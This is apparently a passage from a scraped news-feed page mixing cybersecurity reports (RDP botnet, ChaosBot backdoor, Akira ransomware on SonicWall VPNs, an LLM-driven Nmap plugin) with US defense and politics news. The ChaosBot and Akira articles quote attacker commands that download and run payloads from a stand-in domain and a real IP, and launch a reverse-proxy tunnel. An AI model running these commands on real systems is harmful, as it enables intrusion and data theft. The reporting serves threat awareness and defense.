1010.cx

  • Hackers Attacking Remote Desktop Protocol Services from 100,000+ IP Addresses

    ·

    , , ,

    A massive, coordinated botnet campaign is actively targeting Remote Desktop Protocol (RDP) services across the United States.

    Security firm GreyNoise reported on October 8, 2025, that it has been tracking a significant wave of attacks originating from over 100,000 unique IP addresses spanning more than 100 countries.

    The operation appears to be centrally controlled, with the primary objective of compromising RDP infrastructure, a critical component for remote work and administration.

    The scale and organized nature of this campaign pose a significant threat to organizations that depend on RDP for their daily operations.

    The investigation into this widespread attack began after GreyNoise analysts detected an anomalous spike in traffic from Brazilian-geolocated IPs.

    This initial finding prompted a broader analysis, which quickly uncovered similar surges in activity from a multitude of countries, including Argentina, Iran, China, Mexico, Russia, and South Africa. Despite the diverse geographic origins, the attacks share a common target: RDP services within the United States.

    Botnet Targeting RDP Infrastructure
    Botnet Targeting RDP Infrastructure

    Analysts are highly confident that this activity is the work of a single, large-scale botnet. This conclusion is supported by the fact that nearly all participating IPs share a similar TCP fingerprint. This technical signature suggests a standard, centralized command-and-control structure orchestrating the attacks.

    The threat actors behind this campaign are employing two specific attack vectors to identify and compromise vulnerable systems.

    The first is an RD Web Access timing attack, a method where attackers measure the server’s response time to login attempts to differentiate between valid and invalid usernames anonymously.

    The second vector is an RDP web client login enumeration, which systematically attempts to guess user credentials. These methods allow the botnet to efficiently scan for and identify exploitable RDP access points without immediately triggering standard security alerts.

    The synchronized use of these specific, non-trivial attack methods across such a vast number of nodes further points to a coordinated operation managed by a single operator or group.

    Mitigations

    In response to this ongoing threat, GreyNoise has released specific recommendations for network defenders. The firm advises organizations to check their security logs for any unusual RDP probing proactively or failed login attempts that match the patterns of this campaign.

    For more direct protection, GreyNoise has created a dynamic blocklist template, named “microsoft-rdp-botnet-oct-25,” available through its platform.

    This allows customers to automatically block all known IP addresses associated with this malicious botnet activity, effectively cutting off the attacks at the network perimeter.

    Organizations that use RDP for remote work should check their RDP security. They need to enforce strong password policies and use multi-factor authentication whenever possible. This will help protect against large-scale hacking attempts, such as brute-force attacks.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post Hackers Attacking Remote Desktop Protocol Services from 100,000+ IP Addresses appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New Kali Tool llm-tools-nmap Uses Nmap For Network Scanning Capabilities

    ·

    , , ,

    Along with the release of Kali Linux 2025.3, a major update introduces an innovative tool that combines artificial intelligence and cybersecurity: the llm-tools-nmap.

    A new experimental plugin, llm-tools-nmap, has been released, providing Simon Willison’s command-line Large Language Model (LLM) tool with network scanning capabilities.

    This package integrates the powerful and widely used Nmap security scanner, enabling LLMs to perform network discovery and security auditing tasks through function calling.

    The recent release of Kali Linux 2025.3 introduces a new tool, including gemini-cli, among others.

    The plugin allows users to issue natural language commands to the LLM, which are then translated into specific Nmap scanning actions.

    The primary function of llm-tools-nmap is to act as a bridge between the LLM and the Nmap tool. Its features cover a wide range of network scanning tasks essential for security professionals and system administrators.

    The plugin can perform network discovery to identify local network information and suggest appropriate scan ranges.

    It supports various scanning types, including quick scans of common ports, targeted scans of specific port ranges, and ping scans to discover live hosts on a network.

    More advanced capabilities include service detection to identify the software and versions running on open ports, operating system detection to profile target systems, and the ability to run Nmap Scripting Engine (NSE) scripts for customized and advanced vulnerability detection.

    Installation and Usage

    To use the plugin, several prerequisites must be met. Users need a working installation of Python 3.7 or higher, Simon Willison’s LLM tool, and, critically, a functional Nmap installation.

    Nmap can be easily installed on most operating systems, such as via sudo apt-get install nmap on Debian/Ubuntu systems or brew install nmap on macOS.

    The tool functions are currently experimental and can be invoked using the --functions flag in the command line.

    • nmap_scan(target, options=""): Generic Nmap scan with custom options
    • nmap_quick_scan(target): Fast scan of common ports (-T4 -F)
    • nmap_port_scan(target, ports): Scan specific ports
    • nmap_service_detection(target, ports=""): Service version detection (-sV)
    • nmap_os_detection(target): Operating system detection (-O)
    • nmap_ping_scan(target): Ping scan to discover live hosts (-sn)
    • nmap_script_scan(target, script, ports=""): Run NSE scripts

    For example, a user could initiate a scan by running a command like llm --functions llm-tools-nmap.py "scan my network for open databases".

    Other examples include discovering local network information or performing detailed service detection on specific IP addresses and ports.

    The package provides a suite of specific functions, including get_local_network_info(), nmap_quick_scan(target), nmap_os_detection(target), and nmap_script_scan(target, script).

    While these functions offer powerful automation, the developers have issued strong security warnings. Users are reminded that giving an LLM access to security tools is experimental and could lead to unintended consequences.

    Certain Nmap features, such as OS detection, require root or administrator privileges to function correctly. Furthermore, users must always have explicit permission to scan the target networks and remain compliant with their organization’s security policies regarding network scanning activities.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post New Kali Tool llm-tools-nmap Uses Nmap For Network Scanning Capabilities appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • US to build facility for Qatari F-15s in Idaho; details remain unclear

    ·

    The Pentagon will build a facility for the Qatar air force at an Idaho air base, the defense secretary announced on Friday. The arrangement appears to flow from earlier agreements related to the 2017 sale of Boeing F-15Q combat jets to the Gulf monarchy, but the scope of the project, its cost and financing, and Congressional buy-in remain unclear.

    “Today, we’re announcing we’re signing a letter of acceptance to build a Qatari Emeri Air Force facility at the Mountain Home air base in Idaho,” Hegseth said during a morning appearance with Qatari Defense Minister Sheikh Saoud bin Abdulrahman Al Thani at the Pentagon. Hegseth made the announcement after thanking his counterpart for Qatar’s role as mediators during the Israel-Gaza war.

    Seven hours later, Hegseth’s X account tweeted, “Important clarification:.. Qatar will not have their own base in the United States—nor anything like a base. We control the existing base, like we do with all partners.”

    Asked for further detail, the Office of the Secretary of Defense wrote an email: “Facilities Construction and Operational Support for Qatari F-15 Aircraft at Mountain Home Air Force Base was executed via foreign military sales, will enable the construction and operational integration of an enduring location for Qatari F-15 aircraft at Mountain Home Air Force Base in Idaho.” 

    Requests for clarification went unanswered by press time.

    The email continued, “The establishment of an enduring location for Qatari F-15 aircraft at Mountain Home Air Force Base provides Qatar with strategic flexibility to operate and sustain their advanced fighter aircraft. It will enable combined training opportunities between Qatar and the United States, fostering stronger defense partnerships and enhancing joint operational capabilities.”

    In 2017, the U.S. agreed to sell Qatar 36 F-15Q combat jets, along with “their associated weapons systems, U.S.-based training, maintenance support equipment and logistics support," Stars & Stripes wrote in 2022, when the jets began to be delivered.

    “Now Qatar is ready to begin plans for the U.S.-based training,” said the Stripes article, citing an interview with Lt. Col. Peter Yule, who was the director of the base’s Wing Integration Office. “New housing units and a dormitory would be built on the base for the Qatari forces. Yule says the buildings would likely include a two-story dormitory and 90 single-family units. Some Qatari trainees would be able to bring their families to live on base.”

    The cost hadn’t been set, Yule said, but officials were "currently talking in the hundreds of millions of dollars."

    "It's a large project, between all the different projects that have to happen: building them a new operations facility, a new hangar and maintenance facility, obviously the housing, and then just to expand the footprint," he said. 

    This goes far beyond most of the aviation-training arrangements that the United States has with allies and foreign allies. But Singapore, at least, has kept aircraft at Mountain Home since 2009.

    It was not clear on Friday how the new facility Hegseth was talking about related to the earlier planning.

    His announcement was condemned by some of President Donald Trump’s America-first loyalists as a security risk. A Democratic Party social-media account implied that the new facility was part of a corrupt quid pro quo.

    But Rep. Don Bacon, R-Neb., told reporters on the sidelines of Air Force chief of staff Gen. David Allvin’s retirement ceremony on Friday that he supported the arrangement, which he viewed as justified by the U.S. military’s decades-long use of a giant air base west of the Qatari capital.

    “We've been operating out of Al Udeid Air Base,” Bacon said. “I think it's probably a good thing. I believe in alliances.”

    The move also raised questions among national-security experts, who underscored the need for Congressional buy-in.

    Katherine Kuzminski, the director of studies at the Center for a New American Security think tank, said that it is “rare” for the Pentagon to build a facility for another military on U.S. soil. 

    She added that while the administration can set the tone for foreign policy, Congress needs a say.

    “Congress plays a significant role in funding, authorizing, and overseeing decisions from the executive branch regarding both basing decisions and international military training and education to ensure that security cooperation programs align with U.S. national security and foreign policy goals,” Kuzminski said. 

    The announcement is the latest move by the Trump administration to deepen its military relationship with Qatar. Last month, Trump signed an executive order saying the U.S. would protect the “security and territorial integrity of the State of Qatar against external attack.” This summer, the president accepted a Boeing 747 luxury jet to be converted into Air Force One. The Air Force shifted funds from its Sentinel intercontinental ballistic missile program as part of the 747’s transformation into the presidential aircraft.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Defense tech has a new unicorn

    ·

    Software and analytics firm Govini has joined the ranks of defense unicorns with a new investment that pushes the company’s valuation past $1 billion, the company announced Friday. 

    The $150 million investment by Bain Capital “is really, really exciting validation of the traction that we have in the market” of defense acquisition software, Tara Murphy Dougherty, Govini’s CEO, told reporters Friday. 

    Govini, which boasts a 300-person workforce and reported $100 million in revenue for fiscal 2025, joins other billion-dollar defense startups such as robot-boatmaker Saronic, Anduril, and Germany’s Helsing. 

    Murphy Dougherty said she plans to use the $150 million to hire technical experts in AI, data, and engineering.

    “We basically went out to raise capital as a way to really step on the accelerator,” she said. “We're going to hire like crazy, both in our Pittsburgh office across AI talent, data talent and engineering talent, as well as in our D.C. office, where we hire a lot of defense and national security experts. And we're just going to try to go fast.”

    Govini has recently landed several contracts for its Ark.ai platform, which is used to track and analyze supply chains down to raw materials, including Army and Defense Department-wide IDIQ contracts for supply chain analysis for undisclosed amounts and a slice of the similar government-wide $919 million SCRIPTS contract.

    The company is part of the Army’s pioneering Next Generation Command and Control, or NGC2, program, a $99.6 million effort led by Anduril to prototype a new system for the 4th Infantry Division. Govini is working to introduce predictive logistic and replace a manual process.

    “We have the Fourth Infantry Division, for example, in the United States Army that is using Ark to do things like track fires as they're executed. So they're tracking ammunition as it's used automatically in the product, and then AI is creating forecasts of ongoing demand for that ammunition, and then automatically calculating resupply,” Murphy Dougherty said.

    The platform is also being used at Navy Fleet Readiness Centers to track parts for ship maintenance. For example, one user flagged a subtier critical part supplier as a bankruptcy risk to program leaders after the Ark platform detected a “spike” in the supplier’s financial risk. 

    “What the Navy did with that is, they took that information to their prime. They said, ‘We're concerned about this.’ The prime had no idea, and the Navy said…’go out and find a second supplier for this critical component, because we just don't like the look of this risk.’ Six months after that happened, the company fired the CEO, and 12 months later, they declared bankruptcy.” The Navy’s program was unaffected, she said. 

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New Chaosbot Leveraging CiscoVPN and Active Directory Passwords to Execute Network Commands

    ·

    , ,

    ChaosBot surfaced in late September 2025 as a sophisticated Rust-based backdoor targeting enterprise networks. Initial investigations revealed that threat actors gained entry by exploiting compromised CiscoVPN credentials coupled with over-privileged Active Directory service accounts.

    Once inside, ChaosBot was stealthily deployed via side-loading techniques using the legitimate Microsoft Edge component identity_helper.exe from the C:\Users\Public\Libraries directory.

    The malware’s Rust implementation and reliance on Discord for its command and control (C2) operations underscore an innovative blend of modern development practices and misappropriated mainstream services.

    eSentire analysts noted that the threat actor behind ChaosBot operated through a Discord profile named “chaos_00019,” suggesting a deliberate attempt to mask communications within popular social platforms.

    Victim demographics indicate a focus on Vietnamese-speaking environments, although lateral movement experiments on differing targets have been observed.

    Attack Chain (Source – eSentire)

    The combination of VPN credential abuse and over-privileged AD accounts enabled seamless WMI-based remote execution, facilitating widespread deployment before detection.

    Following initial compromise, ChaosBot conducts reconnaissance and establishes a fast reverse proxy (frp) tunnel to maintain persistent access.

    The malware downloads frp and its configuration file (node.ini) into C:\Users\Public\Music, then launches the proxy via a PowerShell-executed shell command:-

    powershell -Command "$OutputEncoding = [System.Text.Encoding]::UTF8; C:\Users\Public\Music\node.exe -c C:\Users\Public\Music\node.ini"

    This sequence creates a hidden communication channel over port 7000 to a remote AWS host, bypassing perimeter defenses and supporting subsequent lateral movements.

    Infection Mechanism

    The core infection mechanism of ChaosBot leverages two primary vectors: credential-based access and malicious Windows shortcuts.

    In the former, valid CiscoVPN credentials and an over-privileged AD account named “serviceaccount” are used to run WMI commands that drop and execute the ChaosBot payload (msedge_elf.dll) on remote hosts.

    The shortcut vector involves phishing emails containing .lnk files that execute a PowerShell one-liner to fetch and launch ChaosBot while opening a decoy PDF themed after the State Bank of Vietnam to distract the user.

    PowerShell-based malicious shortcut (Source – eSentire)

    This PowerShell command resembles:

    powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'hxxps://malicious-domain/dropper.exe' -OutFile $env:Temp\chaosbot.exe; Start-Process $env:Temp\chaosbot.exe"

    Upon execution, ChaosBot validates its embedded Discord bot token with a GET request to https://discord.com/api/v10/users/@me, then creates a dedicated channel named after the victim’s hostname using a POST to https://discord.com/api/v10/guilds/<GUILD_ID>/channels.

    Subsequent shell commands fetched from Discord messages are executed in new PowerShell processes prefixed with UTF-8 encoding directives to preserve output integrity.

    Results, including stdout, stderr, screenshots, or file attachments, are returned to the threat actor’s Discord channel via multipart/form-data POST requests.

    This dual-vector approach—credential exploitation and social engineering using malicious shortcuts—combined with the use of legitimate services for C2, makes ChaosBot particularly challenging to detect and remediate.

    Asset masquerading through built-in Windows binaries and rigorous encoding practices further obscure its presence within targeted environments.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post New Chaosbot Leveraging CiscoVPN and Active Directory Passwords to Execute Network Commands appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The D Brief: Senate passes NDAA; US troops to monitor Gaza ceasefire; Guard enters Memphis; AUSA preview; And a bit more.

    ·

    In a 70-20 vote, the Senate passed its $925 billion defense bill Thursday, a month after House lawmakers passed their $893 billion version of the bill. “Armed Services committees will now attempt to negotiate a compromise bill that can pass by the end of the year,” Politico reports. Notable: The Senate’s version restricts U.S. troop reductions in Europe and in South Korea. It also seeks “to overhaul the Pentagon’s complex acquisition process to ramp up the defense industrial base and allow the military to more quickly field needed weapons and technology.” 

    Roger Wicker, R-Miss., chairman of the Senate Armed Services Committee: “This year’s NDAA reflects the severity of the threat environment we find ourselves in—one that we have not faced since World War II. This bill centers on two main themes: rebuild and reform. My colleagues and I have prioritized reindustrialization and the structural rebuilding of the arsenal of democracy, starting with drone technology, shipbuilding, and innovative low-cost weapons. We have also set out to enact historic reforms in the Pentagon’s budgeting and acquisition process to unleash innovation and root out inefficiencies.”

    Jack Reed, D-R.I., and SASC’s ranking member: “This is a good, bipartisan bill that supports our troops and strengthens America’s security. It provides essential resources for servicemembers and their families, modernizes key platforms, and invests in critical technologies like hypersonics, AI, and cybersecurity. This NDAA also bolsters our posture against China and Russia, supports America’s allies, and prepares the Department of Defense for emerging threats.”

    AUSA preview: Amid the shutdown, the Army will do its best to talk about transformation, counter-drone gear, and acquisition reform next week at the year’s biggest Army-oriented conference: the annual meeting of Association of the U.S. Army in downtown Washington, D.C. (Agenda, here.)

    On Tuesday, AUSA is to bring together the current and former commanders of U.S. Army North to talk about threats to the homeland, promising a rare public discussion on what has become the Defense Department’s top priority as the second Trump administration prepares to roll out its National Defense Strategy. Defense One’s Meghann Myers offers a curtainraiser on that panel and other planned talks of note, here.

    By the way: The shutdown limits how the Army can fund travel and meals, so AUSA has donated roughly $1 million to bring senior leaders to D.C., CNN reported Thursday.

    Senate to USAF chief nominee: You need to fix alarming mission-capability rates and rising sustainment costs for the Air Force’s F-35A fighter jet, senators said at Thursday’s confirmation hearing for Gen. Kenneth Wilsbach, the former head of Air Combat Command and Pacific Air Forces, who was nominated last month to serve as the service’s top uniformed leader. 

    Wilsback declined to endorse the service’s ongoing China-focused reorganization launched by current chief Gen. Dave Allvin, Defense One’s Thomas Novelly reported from Capitol Hill, here.

    BTW: Allvin’s retirement ceremony is being held today at Joint Base Andrews, Maryland. 

    For the second time in a month, a U.S. warship commander has been relieved of duty. Cmdr. Robert Moreno, who led the Blue Crew of the ballistic missile submarine USS Wyoming, was relieved on Wednesday by his squadron commander, who lost confidence in Moreno’s ability to command, the Navy announced without further detail. That followed the Sept. 11 firing of the captain of a littoral combat ship. (Navy Times, USNI News)

    Better barracks? “A new barracks task force aims to improve military living conditions,” Military Times reported Thursday after Defense Secretary Hegseth posted a video about the topic to social media. In an Oct. 6 memo, Hegseth ordered the task force to get him recommendations within 30 days.

    Task & Purpose: “The Pentagon’s new Barracks Task Force will steer toward private sector ‘investment opportunities’ and contracting to overhaul the military’s junior enlisted barracks,” the outlet reported Thursday. See also T&P’s original report on the effort, which includes good background on the oft-woeful state of enlisted living conditions, here.   

    Coverage continues below…

    Welcome to this Friday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson and Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1845, the U.S. Naval Academy was established at the Fort Severn Army post in Annapolis, Md.

    Developing: Tennessee National Guard troops are expected to start patrolling Memphis today, the Associated Press reports in what will be the fifth American city with a visible military presence since Trump’s re-election. (The others are Washington, Los Angeles, Chicago, and Portland.) 

    Reminder: Tennessee’s Republican governor supports Trump’s use of the military on U.S. streets. Gov. Bill Lee also could have ordered this deployment months ago since he is in control of his state’s Guard troops and didn’t need input from Trump to make the call. The mayor of Memphis, on the other hand, is an elected Democrat—though he’s said he does not oppose additional assistance for city issues like “law enforcement, beautification, and homelessness services,” Mayor Paul Young said on social media in September. 

    Also notable: Crime in Memphis is currently at a 30-year low, according to the local police. However, Memphis has the highest violent crime rate per capita of any U.S. city, according to FBI data. 

    New: On Thursday, District Judge April Perry paused for two weeks Trump’s deployment of 200 National Guard troops from Texas and 300 more from Illinois to the Chicago region. “I have found no credible evidence that there is a danger of rebellion in the state of Illinois,” she said in her oral ruling late Thursday afternoon. 

    Adding more Guard troops to Chicago “will only add fuel to the fire that the defendants themselves have started,” Perry said Thursday. She also stated there appears to be “a growing body of evidence that DHS’ version of events are unreliable.” 

    Homeland Security officials have also been using "unreliable evidence,” which casts “significant doubt on DHS’s credibility on what is going on in the streets of Chicago…I am very much struggling to find where this would stop,” she said. 

    Gov. Pritzker: “[T]here is no credible evidence of a rebellion in the state of Illinois. And no place for the National Guard in the streets of American cities like Chicago,” said Illinois Gov. JB Pritzker in a statement on social media after Perry’s ruling Thursday. 

    Worth noting: Oklahoma’s GOP governor shared his opposition to Texas Guard troops in Chicago, telling the New York Times on Thursday, “Oklahomans would lose their mind if Pritzker in Illinois sent troops down to Oklahoma during the Biden administration.” Stitt’s attorney general, however, felt differently, as States Newsroom reported near the bottom of its dispatch on the matter Thursday. 

    Related: Federal agents in Chicago have also been targeting journalists, prompting a different judge on Thursday to grant a 14-day temporary restraining order banning federal agents from “[d]ispersing, arresting, threatening to arrest, threatening or using physical force against any person whom they know or reasonably should know is a Journalist, unless [the] Defendants have probable cause to believe that the individual has committed a crime.”

    ICYMI: “Portland’s ‘War Zone’ Is Like Burning Man for the Terminally Online,” Isaac Stanley-Becker reported last Thursday for the Atlantic.

    Images from allegedly “war-torn” Portland: Here are National Guard troops sent to Portland in line to eat donuts last Thursday. 

    Congressional opposition: “An authoritarian President—emboldened by a rubber-stamp Congress and a deferential Supreme Court—is sending military troops against American citizens who are peacefully protesting in city after city,” said Oregon Democratic Sen. Jeff Merkley in a statement Thursday. 

    “This is un-American and a fundamental violation of the purpose of our military, which is to defend us from foreign powers, not to be a tool in a President's hand to attack people who disagree with their point of view,” Merkley said. 

    “Americans have the right under the First Amendment to protest this Administration’s cruel and misguided immigration policies,” Illinois Sen. Dick Durbin said. “There is no rebellion or insurrection happening in our state…If the Trump Administration truly wanted to help my city of Chicago and our state of Illinois, it wouldn’t defy Illinois elected leaders. It would work with us. It would restore the millions of dollars it suspended in crime prevention and public safety grants.”

    “This kind of use of the military poses a tremendous threat to all of our civil liberties, even if we are not from California or Oregon or Illinois,” said Connecticut Sen. Richard Blumenthal. 

    “Today, it's California. Today, it’s Illinois. Today, it’s Oregon. Where will it be tomorrow? Where does this end?” said California Sen. Adam Schiff. “I'll tell you where it ends. It ends in more civil strife. It ends in more morale problems in the military. It ends in a lesser democracy. And if we are here in nine months, where will we be with four years of this? And I'll tell you this, we will not be a democracy. At the pace we are going in four years, we will not be a democracy,” said Schiff.

    Read more: 

    Another thing: The National Guard is upset that some of its Texas soldiers appeared to be out of compliance with fitness regulations, according to an Associated Press photo from a Tuesday report out of a suburb of Chicago.

    “All National Guard Soldiers and Airman [sic] are required to meet service-specific height, weight and physical fitness standards at all times,” the National Guard Bureau said in an unusual statement Thursday. “When mobilizing for active duty, members go through a validation process to ensure they meet those requirements. On the rare occasions when members are found not in compliance, they will not go on mission. They will be returned to their home station, and replacements who do meet standards will take their places,” the statement reads. 

    Developing: Venezuelans prepare for possible U.S. invasion. In coastal Venezuela, “Since the first [U.S. military boat] strike [on Sept. 1], military camps have become ubiquitous in the area as Maduro’s regime prepares for a potential invasion,” Nancy Youssef, Gisela Salim-Peyer, and Jonathan Lemire reported Thursday for the Atlantic.

    Reminder: “[T]he idea that Maduro is a major drug lord is a key justification for the strikes,” the trio of reporters write. Indeed, Maduro is “one of the largest narco-traffickers in the world and a threat to our national security,” Attorney General Pam Bondi said in August. However, “The idea that Maduro’s regime runs a drug enterprise big enough to endanger American lives is also viewed skeptically in Venezuela, and not just among Maduro apologists,” Youssef and company report. “If the argument is that drug trafficking is a good reason to threaten to invade a country, you’d have to invade Mexico first,” one former Venezuelan official said. Read more, here. 

    Another theory for U.S. strikes on alleged drug boats: “[T]he endgame of the military strikes against drug cartels in international waters is to lay the groundwork to use lethal military force against Americans at home,” argued former FBI agent Asha Rangappa, writing last week on Substack. “If [Trump] can provoke confrontation between civilians and the military—perhaps one where there is open gunfire or anything that he can use to claim that our military is under attack or in harm’s way—he can then justify arbitrarily designating Americans as military targets,” she writes. 

    Trump 2.0

    Developing: The Pentagon is sending 200 troops to Israel as ceasefire monitors, the New York Times reported Thursday evening. Those forces are set to “join soldiers from nations in the region, including Egypt, Qatar, Turkey and the United Arab Emirates to provide oversight” for the Israel-Hamas agreement officials from both sides agreed upon late last week. 

    “The first of the 200 troops have already started to arrive in Israel and more will follow over the weekend to begin setting up the new coordination center.” Tiny bit more, here. 

    Related reading: “How Trump got his Gaza deal done,” via David Ignatius of the Washington Post, writing Thursday. 

    For those in the administration still thinking about strategic competition with China, the Carnegie Endowment for International Peace released a new report assessing “costs and benefits for seven key alliances across eight core areas of U.S.-China strategic competition.” Among their findings: 

    • “The Philippines has advantageous military geography—but lacks other benefits and poses an entanglement risk in the South China Sea.”
    • “Japan can further U.S. aims with China across all eight categories, especially as its defense spending increases. It is willing to cooperate in several key areas and poses low risk of entanglement.”
    • “Australia can make contributions at a more modest level…Risk of entanglement is low.”
    • “South Korea is reluctant to use its economic and military power to counter China but poses a substantial military burden and risk on the United States. Chip manufacturing and other nonmilitary capabilities help strengthen the case for the alliance.” Read over the full report, here. 

    And lastly: A Rutgers scholar specializing in antifa tried to flee to Spain after receiving death threats, but when he got through security and to the gate at Newark Liberty International Airport Wednesday, the airline told him “the reservation was just canceled,” the New York Times reports. 

    The death threats emerged after “Some students involved in the Rutgers chapter of Turning Point USA, the political group founded by Charlie Kirk, began circulating an online petition that claimed [assistant professor Mark] Bray was an ‘outspoken, well-known antifa member’ and referred to him as ‘Dr. Antifa’ while calling for his dismissal,” AP reports. “He said he learned of the petition calling from his ouster when Fox News contacted him for comment. He said he has since received additional threats and that his home address and personal information about his family were posted on social media.”

    Note: “Doxing,” or posting someone’s personal information (such as home address) is one of the acts the White House said it will now consider as part of its sprawling “domestic terrorism” designation, administration officials announced in late September—after Trump declared Antifa a domestic terrorist organization, even though there is no such category under U.S. law. 

    White House: “The Attorney General shall issue specific guidance that ensures domestic terrorism priorities include politically motivated terrorist acts such as organized doxing campaigns, swatting, rioting, looting, trespass, assault, destruction of property, threats of violence, and civil disorder.”

    Additional reading: 

    Admin note: We’ll be back with this newsletter on Tuesday following a day off for Columbus Day/Indigenous Peoples’ Day. Thanks for reading, and have a great weekend!

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Threat Actors Exploiting SonicWall SSL VPN Devices in Wild to Deploy Akira Ransomware

    ·

    , ,

    Threat actors have reemerged in mid-2025 leveraging previously disclosed vulnerabilities in SonicWall SSL VPN appliances to deploy Akira ransomware on enterprise networks.

    Beginning in July, multiple incidents of initial access via unpatched SonicWall devices were reported across North America and EMEA. Attackers exploited CVE-2024-40766, an access control flaw in SonicOS versions up to 7.0.1-5035, enabling unauthenticated remote code execution.

    Once inside a network, adversaries performed reconnaissance, credential harvesting, and lateral movement before detonating the ransomware payload.

    By August, the pace of attacks accelerated, with affected organizations spanning manufacturing, education, and healthcare sectors.

    Data exfiltration often preceded encryption, with threat actors siphoning sensitive files to rare external SSH endpoints before network encryption commenced.

    Darktrace analysts identified multiple signs of compromise, including anomalous DCE-RPC requests to the epmapper service and unexpected WinRM sessions to domain controllers, long before ransom notes appeared.

    Their Managed Detection and Response (MDR) platform linked these early indicators to the broader Akira campaign, enabling rapid incident triage and containment.

    The Akira ransomware strain, first observed in March 2023, has evolved from Windows-only targeting to include Linux variants affecting VMware ESXi hosts, making it an attractive option for attackers seeking maximum disruption.

    Flowchart of Kerberos PKINIT pre-authentication and U2U authentication (Source – Darktrace)

    Under its Ransomware-as-a-Service model, affiliates deploy double-extortion tactics, encrypting file systems and threatening public release of exfiltrated data.

    In each SonicWall SSD VPN compromise, operators ensured persistence by reusing stolen credentials and exploiting misconfigurations in Virtual Office Portal setups, bypassing multi-factor configurations even on patched devices.

    Infection Mechanism

    The initial compromise typically begins with exploitation of CVE-2024-40766 in SonicWall SSL VPN.

    Attackers send crafted HTTP requests to the vulnerable login.host endpoint, bypassing authentication controls.

    Once a foothold is established, a malicious payload named vmwaretools is downloaded from a hostile cloud endpoint using a simple wget command:-

    wget http[:]//137.184.243.69/vmwaretools - O / tmp / vmwaretools
chmod + x / tmp / vmwaretools
/ tmp / vmwaretools

    This payload installs a loader that registers a backdoor service and harvests administrative credentials via Kerberos PKINIT and UnPAC-the-hash techniques, extracting NTLM hashes without triggering standard credential audit logs.

    After credential extraction, operators initiate lateral movement to ESXi servers over RDP and SSH, exfiltrate data via SSH to endpoint 66.165.243.39, then execute the ransomware binary on Windows and ESXi hosts.

    Maintaining stealth, the loader disables local logging and leverages legitimate administrative tools such as WinRM and Rclone for intra-network communication.

    By the time encryption begins, attackers have already ensured persistence through backdoored services and stolen credentials for future access.

    Geographical distribution of organization’s affected by Akira ransomware in 2025 (Source – Darktrace)

    Organizations are urged to apply SonicWall patches released in August 2024, enforce strict credential hygiene, and monitor for anomalous external SSH traffic.

    Early detection of unusual DCE-RPC, WinRM, and certificate download events remains critical to disrupting this evolving Akira campaign.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Threat Actors Exploiting SonicWall SSL VPN Devices in Wild to Deploy Akira Ransomware appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Nanoprecise partners with AccuKnox to strengthen its Zero Trust Cloud Security and Compliance Posture

    ·

    Menlo Park, USA, October 10th, 2025, CyberNewsWire

    AccuKnox, a leader in Zero Trust Cloud Native Application Protection Platforms (CNAPP), is proud to announce that Nanoprecise has selected AccuKnox to enhance its cloud security, governance, and compliance framework.

    Nanoprecise is a pioneer predictive maintenance and condition monitoring, and leverages Artificial Intelligence and IoT technologies to deliver real-time fault diagnostics and predictive insights.

    This helps enterprises minimize downtime, optimize maintenance, and drive operational efficiency.

    With a growing cloud footprint and plans to expand across AWS and Oracle Cloud, Nanoprecise recognized the need for a comprehensive CNAPP solution that could scale securely and ensure compliance across workloads.

    Why Nanoprecise Chose AccuKnox?

    After a competitive evaluation that included best-in-class incumbent Cloud Security vendors, Nanoprecise selected AccuKnox for its agentless architecture, rapid risk assessment capabilities, and modular pricing.

    During the Proof of Concept (POC), AccuKnox successfully demonstrated:

    • CSPM (Cloud Security Posture Management) for AWS
    • KSPM (Kubernetes Security Posture Management) using KIEM, CIS Benchmarks, and Cluster Misconfigurations in an agentless manner
    • Automated Compliance for Cloud and Workload Environments

    The deployment validated AccuKnox’s ability to deliver quick time-to-value, granular visibility, and compliance assurance — all while aligning with Nanoprecise’s forward-looking roadmap that includes Cloud Detect & Respond (CDR) and AI security modules.

    A Partnership Built for Securing the Future

    AccuKnox’s Customer Success and Solution Engineering teams ensured a seamless POC (Proof of Concept) within a month – demonstrating AccuKnox’s Zero Trust CNAPP platform’s ability to simplify security and compliance operations while preparing for future multi-cloud growth.

    Customer Testimonial

    Faizan Ahmad Wani, Head Of Security at Nanoprecise, shared:

    “At Nanoprecise, our focus has always been on leveraging AI to deliver predictive intelligence with accuracy and speed. We wanted a security partner who shared the same philosophy. AccuKnox not only delivered strong visibility across our AWS environment but also showcased a forward-looking roadmap with CDR and AI security that aligns perfectly with our innovation goals. Their agentless, modular approach and customer-first engagement truly stood out.”

    Gaurav Kumar Mishra, Solution Engineering Lead at AccuKnox, commented:

    “Nanoprecise is a fantastic example of a fast-scaling, innovation-driven company that understands the importance of embedding security early in the growth journey. Our teams collaborated closely to operationalize CSPM and KSPM seamlessly in under a month. What makes this partnership exciting is that Nanoprecise is not just securing their cloud — they’re also exploring ways to deliver CNAPP value to their own customers through an MSSP model. This is the kind of forward-thinking collaboration AccuKnox is known for.”

    About Nanoprecise 

